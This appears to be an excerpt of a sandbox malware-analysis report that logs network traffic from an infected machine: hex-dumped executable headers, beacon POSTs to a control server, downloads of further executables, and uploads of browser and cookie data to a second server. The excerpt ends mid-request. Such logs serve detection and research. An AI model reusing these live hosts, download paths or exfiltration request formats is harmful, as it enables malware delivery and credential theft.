00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:49 GMTContent-Type: application/octet-streamContent-Length: 3235328Last-Modified: Thu, 07 Nov 2024 04:54:00 GMTConnection: keep-aliveETag: "672c47e8-315e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 31 00 00 04 00 00 5e 3b 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 53 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 52 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 6a 6d 71 69 7a 75 72 00 b0 2a 00 00 b0 06 00 00 a4 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 74 6c 6f 76 68 77 74 00 10 00 00 00 60 31 00 00 04 00 00 00 38 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 31 00 00 22 00 00 00 3c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:02:09 GMTContent-Type: application/octet-streamContent-Length: 2132992Last-Modified: Thu, 07 Nov 2024 04:53:51 GMTConnection: keep-aliveETag: "672c47df-208c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 74 6d 7a 6f 7a 79 00 e0 19 00 00 90 58 00 00 dc 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 77 73 63 68 6d 76 67 00 10 00 00 00 70 72 00 00 04 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 6a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /dl/15306544/pohtent.exe HTTP/1.1Host: tmpfiles.org
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 34 35 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1004528001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 35 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004533001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 35 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004534001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build"tale------JDBFIIEBGCAKKEBFBAAF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDAFHDHCBFIDGCFIDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 47 2d 2d 0d 0a Data Ascii: ------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------IEHDAFHDHCBFIDGCFIDGContent-Disposition: form-data; name="message"browsers------IEHDAFHDHCBFIDGCFIDG--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 07 Nov 2024 04:53:51 GMTIf-None-Match: "672c47df-208c00"
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"plugins------GDHDAEBGCAAFIDGCGDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="message"fplugins------BKJKEBGDHDAFHJKEGIID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.215.113.206Content-Length: 6607Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 35 33 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004535031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004536001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 